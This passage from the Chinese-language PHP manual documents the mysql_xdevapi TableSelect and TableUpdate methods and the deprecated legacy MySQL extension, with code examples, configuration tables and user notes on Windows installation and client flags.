$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 42)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->select('name', 'age')
->limit(1)
->offset(1)
->execute();

$row = $result->fetchAll();
print_r($row);
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [name] => Sam
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Set select sort criteria

  • ? TableSelect::offset
  • TableSelect::where ?
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • Set select sort criteria

TableSelect::orderby

(No version information available, might only be in Git)

TableSelect::orderby — Set select sort criteria

说明

public mysql_xdevapi\TableSelect::orderby(mixed $sort_expr, mixed ...$sort_exprs): mysql_xdevapi\TableSelect

Sets the order by criteria.

参数

sort_expr

The expressions that define the order by criteria. Can be an array with one or more expressions, or a string.

sort_exprs

Additional sort_expr parameters.

返回值

A TableSelect object.

示例

Example #1 mysql_xdevapi\TableSelect::orderBy() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->select('name', 'age')
->orderBy('name desc')
->execute();

$row = $result->fetchAll();
print_r($row);
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [name] => Sam
            [age] => 42
        )
    [1] => Array
        (
            [name] => John
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Set select search condition

  • ? TableSelect::orderby
  • mysql_xdevapi\TableUpdate ?
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • Set select search condition

TableSelect::where

(No version information available, might only be in Git)

TableSelect::where — Set select search condition

说明

public mysql_xdevapi\TableSelect::where(string $where_expr): mysql_xdevapi\TableSelect

Sets the search condition to filter.

参数

where_expr

Define the search condition to filter documents or records.

返回值

A TableSelect object.

示例

Example #1 mysql_xdevapi\TableSelect::where() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->select('name','age')
->where('name like :name and age > :age')
->bind(['name' => 'John', 'age' => 42])
->execute();

$row = $result->fetchAll();
print_r($row);
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


TableUpdate class

(PECL mysql-xdevapi >= 8.0.11)

简介

A statement for record update operations on a Table.

类摘要

class mysql_xdevapi\TableUpdate implements mysql_xdevapi\Executable {
/* 方法 */
public bind(array $placeholder_values): mysql_xdevapi\TableUpdate
public execute(): mysql_xdevapi\TableUpdate
public limit(int $rows): mysql_xdevapi\TableUpdate
public orderby(mixed $orderby_expr, mixed ...$orderby_exprs): mysql_xdevapi\TableUpdate
public set(string $table_field, string $expression_or_literal): mysql_xdevapi\TableUpdate
public where(string $where_expr): mysql_xdevapi\TableUpdate
}

Table of Contents

  • TableUpdate::bind — Bind update query parameters
  • TableUpdate::__construct — TableUpdate constructor
  • TableUpdate::execute — Execute update query
  • TableUpdate::limit — Limit update row count
  • TableUpdate::orderby — Set sorting criteria
  • TableUpdate::set — Add field to be updated
  • TableUpdate::where — Set search filter

User Contributed Notes

There are no user contributed notes for this page.


Bind update query parameters

  • ? mysql_xdevapi\TableUpdate
  • TableUpdate::__construct ?
  • PHP Manual
  • mysql_xdevapi\TableUpdate
  • Bind update query parameters

TableUpdate::bind

(No version information available, might only be in Git)

TableUpdate::bind — Bind update query parameters

说明

public mysql_xdevapi\TableUpdate::bind(array $placeholder_values): mysql_xdevapi\TableUpdate

Binds a value to a specific placeholder.

参数

placeholder_values

The name of the placeholder, and the value to bind, defined as a JSON array.

返回值

A TableUpdate object.

示例

Example #1 mysql_xdevapi\TableUpdate::bind() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table->update()
->set('status', 'admin')
->where('name = :name and age > :age')
->bind(['name' => 'Bernie', 'age' => 2000])
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


TableUpdate constructor

  • ? TableUpdate::bind
  • TableUpdate::execute ?
  • PHP Manual
  • mysql_xdevapi\TableUpdate
  • TableUpdate constructor

TableUpdate::__construct

(No version information available, might only be in Git)

TableUpdate::__construct — TableUpdate constructor

说明

private mysql_xdevapi\TableUpdate::__construct()

Initiated by using the update() method.

参数

此函数没有参数。

示例

Example #1 mysql_xdevapi\TableUpdate::__construct() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$res = $table->update()
->set('level', 3)
->where('age > 15 and age < 22')
->limit(4)
->orderby(['age asc','name desc'])
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Execute update query

  • ? TableUpdate::__construct
  • TableUpdate::limit ?
  • PHP Manual
  • mysql_xdevapi\TableUpdate
  • Execute update query

TableUpdate::execute

(No version information available, might only be in Git)

TableUpdate::execute — Execute update query

说明

public mysql_xdevapi\TableUpdate::execute(): mysql_xdevapi\TableUpdate

Executes the update statement.

参数

此函数没有参数。

返回值

A TableUpdate object.

示例

Example #1 mysql_xdevapi\TableUpdate::execute() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$res = $table->update()
->set('level', 3)
->where('age > 15 and age < 22')
->limit(4)
->orderby(['age asc','name desc'])
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Limit update row count

  • ? TableUpdate::execute
  • TableUpdate::orderby ?
  • PHP Manual
  • mysql_xdevapi\TableUpdate
  • Limit update row count

TableUpdate::limit

(No version information available, might only be in Git)

TableUpdate::limit — Limit update row count

说明

public mysql_xdevapi\TableUpdate::limit(int $rows): mysql_xdevapi\TableUpdate

Set the maximum number of records or documents update.

参数

rows

The maximum number of records or documents to update.

返回值

A TableUpdate object.

示例

Example #1 mysql_xdevapi\TableUpdate::limit() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$res = $table->update()
->set('level', 3)
->where('age > 15 and age < 22')
->limit(4)
->orderby(['age asc','name desc'])
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Set sorting criteria

  • ? TableUpdate::limit
  • TableUpdate::set ?
  • PHP Manual
  • mysql_xdevapi\TableUpdate
  • Set sorting criteria

TableUpdate::orderby

(No version information available, might only be in Git)

TableUpdate::orderby — Set sorting criteria

说明

public mysql_xdevapi\TableUpdate::orderby(mixed $orderby_expr, mixed ...$orderby_exprs): mysql_xdevapi\TableUpdate

Sets the sorting criteria.

参数

orderby_expr

The expressions that define the order by criteria. Can be an array with one or more expressions, or a string.

orderby_exprs

Additional sort_expr parameters.

返回值

TableUpdate object.

示例

Example #1 mysql_xdevapi\TableUpdate::orderby() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$res = $table->update()
->set('level', 3)
->where('age > 15 and age < 22')
->limit(4)
->orderby(['age asc','name desc'])
->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


Add field to be updated

  • ? TableUpdate::orderby
  • TableUpdate::where ?
  • PHP Manual
  • mysql_xdevapi\TableUpdate
  • Add field to be updated

TableUpdate::set

(No version information available, might only be in Git)

TableUpdate::set — Add field to be updated

说明

public mysql_xdevapi\TableUpdate::set(string $table_field, string $expression_or_literal): mysql_xdevapi\TableUpdate

Updates the column value on records in a table.

参数

table_field

The column name to be updated.

expression_or_literal

The value to be set on the specified column.

返回值

TableUpdate object.

示例

Example #1 mysql_xdevapi\TableUpdate::set() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$res = $table->update()
->set('level', 3)
->where('age > 15 and age < 22')
->limit(4)
->orderby(['age asc','name desc'])
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Set search filter

  • ? TableUpdate::set
  • mysql_xdevapi\Warning ?
  • PHP Manual
  • mysql_xdevapi\TableUpdate
  • Set search filter

TableUpdate::where

(No version information available, might only be in Git)

TableUpdate::where — Set search filter

说明

public mysql_xdevapi\TableUpdate::where(string $where_expr): mysql_xdevapi\TableUpdate

Set the search condition to filter.

参数

where_expr

The search condition to filter documents or records.

返回值

A TableUpdate object.

示例

Example #1 mysql_xdevapi\TableUpdate::where() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$res = $table->update()
->set('level', 3)
->where('age > 15 and age < 22')
->limit(4)
->orderby(['age asc','name desc'])
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Warning class

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\Warning {
/* 属性 */
public $message;
public $level;
public $code;
/* Constructor */
private __construct()
}

属性

message

level

code

Table of Contents

  • Warning::__construct — Warning constructor

User Contributed Notes

There are no user contributed notes for this page.


Warning constructor

  • ? mysql_xdevapi\Warning
  • Mysql（原始） ?
  • PHP Manual
  • mysql_xdevapi\Warning
  • Warning constructor

Warning::__construct

(No version information available, might only be in Git)

Warning::__construct — Warning constructor

说明

private mysql_xdevapi\Warning::__construct()

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

示例

Example #1 mysql_xdevapi\Warning::__construct() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


原始的 MySQL API

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 更新日志
  • 预定义常量
  • 示例
    • MySQL 扩展概述范例
  • MySQL 函数
    • mysql_affected_rows — 取得前一次 MySQL 操作所影响的记录行数
    • mysql_client_encoding — 返回字符集的名称
    • mysql_close — 关闭 MySQL 连接
    • mysql_connect — 打开一个到 MySQL 服务器的连接
    • mysql_create_db — 新建一个 MySQL 数据库
    • mysql_data_seek — 移动内部结果的指针
    • mysql_db_name — 取得 mysql_list_dbs 返回的结果数据
    • mysql_db_query — 选择数据库并执行查询
    • mysql_drop_db — 丢弃（删除）一个 MySQL 数据库
    • mysql_errno — 返回上一个 MySQL 操作中的错误信息的数值
    • mysql_error — 返回上一个 MySQL 操作中的错误信息的文本
    • mysql_escape_string — 转义字符串用于 mysql_query
    • mysql_fetch_array — 从结果集中取得一行作为关联数组
    • mysql_fetch_assoc — 从结果集中取得一行作为关联数组
    • mysql_fetch_field — 从结果集中取得列信息并作为对象返回
    • mysql_fetch_lengths — 取得结果集中每个输出的长度
    • mysql_fetch_object — 从结果集中取得一行作为对象返回
    • mysql_fetch_row — 从结果集中取得一行作为枚举数组
    • mysql_field_flags — 从结果中取得和指定字段关联的 flags
    • mysql_field_len — 返回指定字段的长度
    • mysql_field_name — 取得结果中指定字段的字段名
    • mysql_field_seek — 将结果指针设置为指定的字段偏移量
    • mysql_field_table — 取得指定字段所在的表名
    • mysql_field_type — 取得结果集中指定字段的类型
    • mysql_free_result — 释放结果内存
    • mysql_get_client_info — 取得 MySQL 客户端信息
    • mysql_get_host_info — 取得 MySQL 主机信息
    • mysql_get_proto_info — 取得 MySQL 协议信息
    • mysql_get_server_info — 取得 MySQL 服务器信息
    • mysql_info — 获取最近查询的有关信息
    • mysql_insert_id — 取得上一条查询生成的 ID
    • mysql_list_dbs — 列出 MySQL 服务器中可用的数据库
    • mysql_list_fields — 列出 MySQL 表字段
    • mysql_list_processes — 列出 MySQL 进程
    • mysql_list_tables — 列出 MySQL 数据库中的表
    • mysql_num_fields — 取得结果中字段的数量
    • mysql_num_rows — 获取结果中行数
    • mysql_pconnect — 打开一个到 MySQL 服务器的持久连接
    • mysql_ping — Ping 服务器连接的状态，如果没有连接则重新连接
    • mysql_query — 发送一条 MySQL 查询
    • mysql_real_escape_string — 将字符串中的特殊字符进行转义，以在 SQL 语句中使用
    • mysql_result — 取得结果数据
    • mysql_select_db — 选择 MySQL 数据库
    • mysql_set_charset — 设置客户端的字符集
    • mysql_stat — 取得当前系统状态
    • mysql_tablename — 取得表名
    • mysql_thread_id — 返回当前线程的 ID
    • mysql_unbuffered_query — 向 MySQL 发送一条 SQL 查询，并不获取和缓存结果的行

User Contributed Notes

There are no user contributed notes for this page.


简介

从 PHP 5.5.0 起这个扩展已经被废弃，并且从 PHP 7.0.0. 开始被移除。作为替代，可以使用 mysqli 或者 PDO_MySQL 扩展代替。 参见 MySQL API 概览 寻找关于选择 MySQL API 的更多帮助。

这些函数允许你接入 MySQL 数据库服务器。更多关于 MySQL 的信息： » http://www.mysql.com/。

关于 MySQL 的文档能在此找到： » http://dev.mysql.com/doc/。

User Contributed Notes

There are no user contributed notes for this page.


需求

为了使这些函数能够使用，你必须编译加入 PHP 对 MySQL 的支持。

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

User Contributed Notes

There are no user contributed notes for this page.


安装

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

编译时，只要使用 --with-mysql[=DIR] 配置选项即可，其中可选的 [DIR] 指向 MySQL 的安装目录。

虽然本 MySQL 扩展库兼容 MySQL 4.1.0 及其以后版本，但是它不支持这些版本提供的额外功能。要使用这些功能，请使用 MySQLi 扩展库。

如果要同时安装 mysql 扩展库和 mysqli 扩展库，必须使用同一个客户端库以避免任何冲突。

在 Linux 系统下安装

Note: [DIR] is the path to the MySQL client library files (headers and libraries), which can be downloaded from » MySQL.

ext/mysql compile time support matrix
PHP 版本 | 默认 | 配置选项: mysqlnd | 配置选项: libmysql | 更新日志
4.x.x | libmysql | 不适用 | --without-mysql to disable | MySQL enabled by default, MySQL client libraries are bundled
5.0.x, 5.1.x, 5.2.x | libmysql | 不适用 | --with-mysql=[DIR] | MySQL is no longer enabled by default, and the MySQL client libraries are no longer bundled
5.3.x | libmysql | --with-mysql=mysqlnd | --with-mysql=[DIR] | mysqlnd is now available
5.4.x | mysqlnd | --with-mysql | --with-mysql=[DIR] | mysqlnd is now the default

在 Windows 系统下安装

PHP 5+

MySQL 默认未启用，因此必须在 php.ini 中激活 php_mysql.dll 动态连接库。此外，PHP 还需要访问 MySQL 客户端连接库。PHP 的 Windows 发行版包括了一个 libmysql.dll，为了让 PHP 能和 MySQL 对话，此文件必须放在 Windows 的系统路径 PATH 中。怎样做见 FAQ 中的"怎样把 PHP 目录加入到 Windows PATH中"。尽管将 libmysql.dll 拷贝到 Windows 系统目录中也可以（因为系统目录默认在系统路径 PATH 中），但不推荐这样做。

要激活任何 PHP 扩展库（例如 php_mysql.dll），PHP 指令 extension_dir 要被设为 PHP 扩展库所在的目录。参见手工 Windows 安装指南。PHP 5 下 extension_dir 取值的一个例子是 c:\php\ext。

Note:

如果启动 web 服务器时出现类似如下的错误："Unable to load dynamic library './php_mysql.dll'"，这是因为系统找不到 php_mysql.dll 和／或 libmysql.dll。

PHP 5.3.0+

The MySQL Native Driver is enabled by default. Include php_mysql.dll, but libmysql.dll is no longer required or used.

MySQL 安装注意事项

Warning

当同时加在本扩展库和 recode 扩展库时 PHP 可能会崩溃。更多信息见 recode 扩展库。

Note:

如果需要不同于 latin（默认值）的字符集，必须安装外部的（非绑定的）已编译入所需字符集支持的 libmysql。

User Contributed Notes

mail dot umlcat at gee mail dot com 11-Dec-2012 07:28
Could not install mysql, on windows, had several conflicts or bugs.

In order to solve it:

* Used the "libmysql.dll" provided by PHP zip files, not the one that comes with Mysql, the mysql file had to be moved or deleted from its folder. Put it on the "apache/bin" folder, altought some use it in "windows" folder.

* Originally, moved "*mysql*.dll" files from its extension folder, and returned back.

* enabled mysql driver extensions in the "php.ini" file, but also enabled some extensions, that seemed not to be required, but, it did, like "php_openssl.dll" or "php_pdo.dll" on an early version of php.

Added the "PHPIniDir xxx"" to the "httpd.conf" apache config. file, where xxx is the path to the folder where the "php.ini" file is located, and make sure its the same.

Be warned, that this fixes, may help or not, for your installation, since there are many ways to configure the same thing (to solve a problem).
Steve in Weston-Super-Mare 27-Jul-2011 10:55
I had problems when moving from a version of PHP that used the isapi dll to the fast cgi version. The script to register the script maps compained that there was already a script map in place.

I went to the IIS control panel, right clicked on websites and removed the php association in the Home Directory | Configuration screen.

However, the fastcgi script still complained about existing script map. Finally I tracked it down, I had to right click on Default Web Site and clear out the php mappings from there too.

Then it all worked, except that for some strange reason, the php.ini file that gets picked up is the one from my old PHP directory, not the latest upgrade one. But this can be detected by running phpinfo which shows the loaded php.ini file so I knew which one to amend with the fastcgi options.

Bit of a hassle to figure it all out but it does work in the end.
o dot kochetilov at gmail dot com 30-Apr-2011 12:39
Please note that libmySQL.dll in MySQL bin directory should be renamed in order to use right library (that comes with PHP).
buzzr515 at gmx dot de 03-Sep-2010 09:13
i've experienced a similar (if not the same) problem.

to enable the mysql_... and mysqli_... funtionality, i opened the php.ini file to uncomment the following lines:
;extension=php_mysql.dll
;extension=php_mysqli.dll
;extension=php_pdo_mysql.dll

but phpinfo() still stated that no mysql extensions were loaded.
i tried the fixes and suggestions above with no success.
so i invoked the windows shell and typed ("Path" environment variable set to the PHP & MySQL directories):
php.exe -m

this returned the following error: "PHP Startup: Unable to load dynamic library 'C:\php5\php_mysql.dll' - Module not found."

this told me that PHP didn't recognize what i thought was the extensions directory. it searched all other places first (sys-dir, workin'-dir, the MySQL "bin" dir because of the "Path" variable set, and even a curious directory "C:\php5" that doesn't even exist on my mashine) but not the expected "ext" directory.

so the fix was to go to "php.ini" again and uncomment the following line:
;extension_dir="ext"

this fixed it for me.
so if module loading is done improperly, first of all check the "Path" environment variable and the "php.ini" file - especially the "extension_dir" config value - and check if all values are set to their correct values.

hope this helps any1.

----------------------------------------
OS: Win7 Ultimate x86
Apache v2.2.16
PHP v5.3.3
MySQL v5.1.50
heneryville at gmail dot com 30-Apr-2010 01:32
I believe that this is happens especially with Windows 7.  As far I I've been able to tell XP and Vista come with this line enabled, but windows 7 comments it out and notes that the DNS will handle this.
amatsak at gmail dot com 22-Jun-2009 02:46
I have experienced exactly the same problem as flo_stefi at yahoo dot com below. It appears that instead of loading libmysql.dll that came with the PHP package, the PHP engine was loading libmySQL.dll located in MySQL's bin directory, which was causing Apache to crash.

I fixed the problem by renaming MySQL's libmySQL.dll into libmySQL_renamed.dll. Now PHP loads the library that came with its package and everything works fine.
jonnus 12-May-2008 05:42
In windows systems, the same error "unable to load dynamic library php_mysql.dll" will happen, if there's an old version of the file in the "windows\system32" folder.
Either remove it or update it.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

MySQL 配置选项
名字 | 默认 | 可修改范围 | 更新日志
mysql.allow_local_infile | "1" | PHP_INI_SYSTEM |
mysql.allow_persistent | "1" | PHP_INI_SYSTEM |
mysql.max_persistent | "-1" | PHP_INI_SYSTEM |
mysql.max_links | "-1" | PHP_INI_SYSTEM |
mysql.trace_mode | "0" | PHP_INI_ALL |
mysql.default_port | NULL | PHP_INI_ALL |
mysql.default_socket | NULL | PHP_INI_ALL |
mysql.default_host | NULL | PHP_INI_ALL |
mysql.default_user | NULL | PHP_INI_ALL |
mysql.default_password | NULL | PHP_INI_ALL |
mysql.connect_timeout | "60" | PHP_INI_ALL |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

mysql.allow_local_infile int

Allow accessing, from PHP's perspective, local files with LOAD DATA statements

mysql.allow_persistent bool

是否允许 MySQL 的持久连接。

mysql.max_persistent int

每个进程中最大的持久连接数目。

mysql.max_links int

每个进程中最大的连接数，包括持久连接。

mysql.trace_mode bool

跟踪模式。当激活 mysql.trace_mode 时，将会显示 table/index 扫描的警告，未释放的结果集以及 SQL 错误。（PHP 4.3.0 引进）

mysql.default_port string

指定默认连接数据库的 TCP 端口号。如果没有指定默认端口号，则按顺序从 MYSQL_TCP_PORT 环境变量，/etc/services 文件中的 mysql-tcp 项或者编译时指定的 MYSQL_PORT 常量中取得。Win32 环境下只会使用 MYSQL_PORT 常量。

mysql.default_socket string

当使用本地连接的时候，默认的 socket 名称。

mysql.default_host string

默认连接的数据库服务器地址。不适用于 SQL 安全模式。

mysql.default_user string

默认连接数据库时使用的用户名。不适用于 SQL 安全模式。

mysql.default_password string

默认连接数据库时使用的密码。不适用于 SQL 安全模式。

mysql.connect_timeout int

连接超时秒数。在 Linux 中，此参数设定了等候来自服务器的响应的时长。

User Contributed Notes

There are no user contributed notes for this page.


资源类型

在 MySQL 模块中用到了两种资源类型。第一种是数据库链接的链接标识符，第二种是资源标识符，包含了查询结果集。

User Contributed Notes

There are no user contributed notes for this page.


更新日志

对本扩展的类／函数／方法有以下更新。

ext/mysql 扩展更新日志概要

ext/mysql 扩展相关的更新日志。

全局 ext/mysql 的变更

以下列表是整个 ext/mysql 扩展的变动更新。

版本 | 说明
7.0.0 | 此扩展已从 PHP 中移除。详见 Choosing an API.

函数的变更项

以下列表为 ext/mysql 函数完整的更新历史项。

Version Function Description

User Contributed Notes

Gianluca 16-Mar-2016 10:01
In these wrappers all mysql and ereg functions are rewritten using mysqli and pcre
https://sourceforge.net/projects/mysqlwithmysqli/
https://sourceforge.net/projects/ereg-using-pcre/


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

允许在 mysql_connect() 函数和 mysql_pconnect() 函数中指定更多的客户端标记。下面列出所定义的常量：

MySQL 客户端常量
常量 | 说明
MYSQL_CLIENT_COMPRESS | 使用压缩的通讯协议
MYSQL_CLIENT_IGNORE_SPACE | 允许在函数名后留空格位
MYSQL_CLIENT_INTERACTIVE | 允许设置断开连接之前所空闲等候的 interactive_timeout 时间（代替 wait_timeout）。
MYSQL_CLIENT_SSL | 使用 SSL 加密。本标志仅在 MySQL 客户端库版本为 4.x 或更高版本时可用。在 PHP 4 和 Windows 版的 PHP 5 安装包中绑定的都是 3.23.x。

mysql_fetch_array() 函数使用一个常量来表示所返回数组的类型。下面是常量的定义：

MySQL fetch 常量
常量 | 说明
MYSQL_ASSOC | 返回的数据列使用字段名作为数组的索引名。
MYSQL_BOTH | 返回的数据列使用字段名及数字索引作为数组的索引名。
MYSQL_NUM | 返回的数据列使用数字索引作为数组的索引名。索引从 0 开始，表示返回结果的第一个字段。

User Contributed Notes

frak at gingerhq dot net 30-Jun-2011 11:06
If you're using stored procedures and mysql_error() returns "PROCEDURE storedProcedureName can't return a result set in the given context", you need to pass an additional flag (CLIENT_MULTI_RESULTS) to mysql_connect() as such:
mysql_connect($hostname, $username, $password, true, 131072);

Some other sources say that you should use 65536. 65536 is actually the flag to allow multiple statements in a single mysql_query(), and is a security issue. The reason it allows you to receive results from stored procedures is because it implies 131072. To be safe, use 131072 over 65536.
pcdinh at phpvietnam dot net 13-Feb-2010 12:54
Other client flags extracted from MySQL client source

#define CLIENT_LONG_PASSWORD 1 /* new more secure passwords */
#define CLIENT_FOUND_ROWS 2 /* Found instead of affected rows */
#define CLIENT_LONG_FLAG 4 /* Get all column flags */
#define CLIENT_CONNECT_WITH_DB 8 /* One can specify db on connect */
#define CLIENT_NO_SCHEMA 16 /* Don't allow database.table.column */
#define CLIENT_COMPRESS 32 /* Can use compression protocol */
#define CLIENT_ODBC 64 /* Odbc client */
#define CLIENT_LOCAL_FILES 128 /* Can use LOAD DATA LOCAL */
#define CLIENT_IGNORE_SPACE 256 /* Ignore spaces before '(' */
#define CLIENT_PROTOCOL_41 512 /* New 4.1 protocol */
#define CLIENT_INTERACTIVE 1024 /* This is an interactive client */
#define CLIENT_SSL 2048 /* Switch to SSL after handshake */
#define CLIENT_IGNORE_SIGPIPE 4096 /* IGNORE sigpipes */
#define CLIENT_TRANSACTIONS 8192 /* Client knows about transactions */
#define CLIENT_RESERVED 16384 /* Old flag for 4.1 protocol */
#define CLIENT_SECURE_CONNECTION 32768 /* New 4.1 authentication */
#define CLIENT_MULTI_STATEMENTS 65536 /* Enable/disable multi-stmt support */
#define CLIENT_MULTI_RESULTS 131072 /* Enable/disable multi-results */
#define CLIENT_REMEMBER_OPTIONS (((ulong) 1) << 31)
Contact at LinuxIntro dot com 27-Oct-2008 09:33
When you connect and expect to use a stored procedure,you must pass a special flag to MySQL via the connect command, otherwise you will not get the results returned, and it will result in this error:
PROCEDURE AlexGrim.GetStats_ForumCategories can't return a result set in the given context

To fix this, change you connection string, adding ",false,65536" as the last 2 fields:
$this->con = mysql_connect($this->h,$this->u,$this->p,false,65536);


示例

Table of Contents

  • MySQL 扩展概述范例

User Contributed Notes

There are no user contributed notes for this page.


MySQL 扩展概述范例

这个简单的范例展示了如何连接、执行一个查询，打印结果集后断开 MySQL 数据库的连接。

Example #1 MySQL 扩展概述范例

<?php
// 连接、选择数据库
$link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')
or die('Could not connect: ' . mysql_error());
echo 'Connected successfully';
mysql_select_db('my_database') or die('Could not select database');

// 执行 SQL 查询
$query = 'SELECT * FROM my_table';
$result = mysql_query($query) or die('Query failed: ' . mysql_error());

// 以 HTML 打印查询结果
echo "<table>\n";
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
echo "\t<tr>\n";
foreach ($line as $col_value) {
echo "\t\t<td>$col_value</td>\n";
}
echo "\t</tr>\n";
}
echo "</table>\n";

// 释放结果集
mysql_free_result($result);

// 关闭连接
mysql_close($link);
?>

User Contributed Notes

zjrwjzzz at 163 dot com 13-Feb-2015 05:03
Be aware that if you are trying to foreach the associative array returned by mysql_fetch_array() with MYSQL_ASSOC or mysql_fetch_assoc(), you have to ensure the return value that is used in foreach structure is exactly a array rather than a FALSE value.

Or you might encounter the warning below:
    Warning: Invalid argument supplied for foreach()

Here is an example (assume that $result have already stored the return value from mysql_query()):

If you have some block of code like:

<?php

// Printing results in HTML
echo "<table>\n";
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
    echo "\t<tr>\n";
    foreach ($line as $col_value) {
        echo "\t\t<td>$col_value</td>\n";
    }
    echo "\t</tr>\n";
}
echo "</table>\n";

?>

If this is the case, you should use the code below instead:

<?php

// Check ahead, before using it
if (mysql_num_rows($result) > 0) {
    // Printing results in HTML
    echo "<table>\n";
    while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
        echo "\t<tr>\n";
        foreach ($line as $col_value) {
            echo "\t\t<td>$col_value</td>\n";
        }
        echo "\t</tr>\n";
    }
    echo "</table>\n";
}

?>


MySQL 函数

注释

Note:

大多数 MySQL 函数的最后一个可选参数是 link_identifier。 如果没有提供这个参数，则会使用最后一个打开的连接。 若不存在这个最后打开的连接，则会尝试用 php.ini 里定义的默认参数来连接。 如果没有成功连接，函数会返回 false。

Table of Contents

  • mysql_affected_rows — 取得前一次 MySQL 操作所影响的记录行数
  • mysql_client_encoding — 返回字符集的名称
  • mysql_close — 关闭 MySQL 连接
  • mysql_connect — 打开一个到 MySQL 服务器的连接
  • mysql_create_db — 新建一个 MySQL 数据库
  • mysql_data_seek — 移动内部结果的指针
  • mysql_db_name — 取得 mysql_list_dbs 返回的结果数据
  • mysql_db_query — 选择数据库并执行查询
  • mysql_drop_db — 丢弃（删除）一个 MySQL 数据库
  • mysql_errno — 返回上一个 MySQL 操作中的错误信息的数值
  • mysql_error — 返回上一个 MySQL 操作中的错误信息的文本
  • mysql_escape_string — 转义字符串用于 mysql_query
  • mysql_fetch_array — 从结果集中取得一行作为关联数组
  • mysql_fetch_assoc — 从结果集中取得一行作为关联数组
  • mysql_fetch_field — 从结果集中取得列信息并作为对象返回
  • mysql_fetch_lengths — 取得结果集中每个输出的长度
  • mysql_fetch_object — 从结果集中取得一行作为对象返回
  • mysql_fetch_row — 从结果集中取得一行作为枚举数组
  • mysql_field_flags — 从结果中取得和指定字段关联的 flags
  • mysql_field_len — 返回指定字段的长度
  • mysql_field_name — 取得结果中指定字段的字段名
  • mysql_field_seek — 将结果指针设置为指定的字段偏移量
  • mysql_field_table — 取得指定字段所在的表名
  • mysql_field_type — 取得结果集中指定字段的类型
  • mysql_free_result — 释放结果内存
  • mysql_get_client_info — 取得 MySQL 客户端信息
  • mysql_get_host_info — 取得 MySQL 主机信息
  • mysql_get_proto_info — 取得 MySQL 协议信息
  • mysql_get_server_info — 取得 MySQL 服务器信息
  • mysql_info — 获取最近查询的有关信息
  • mysql_insert_id — 取得上一条查询生成的 ID
  • mysql_list_dbs — 列出 MySQL 服务器中可用的数据库
  • mysql_list_fields — 列出 MySQL 表字段
  • mysql_list_processes — 列出 MySQL 进程
  • mysql_list_tables — 列出 MySQL 数据库中的表
  • mysql_num_fields — 取得结果中字段的数量
  • mysql_num_rows — 获取结果中行数
  • mysql_pconnect — 打开一个到 MySQL 服务器的持久连接
  • mysql_ping — Ping 服务器连接的状态，如果没有连接则重新连接
  • mysql_query — 发送一条 MySQL 查询
  • mysql_real_escape_string — 将字符串中的特殊字符进行转义，以在 SQL 语句中使用
  • mysql_result — 取得结果数据
  • mysql_select_db — 选择 MySQL 数据库
  • mysql_set_charset — 设置客户端的字符集
  • mysql_stat — 取得当前系统状态
  • mysql_tablename — 取得表名
  • mysql_thread_id — 返回当前线程的 ID
  • mysql_unbuffered_query — 向 MySQL 发送一条 SQL 查询，并不获取和缓存结果的行

User Contributed Notes

Vladimir Kosmala 27-Oct-2010 07:57
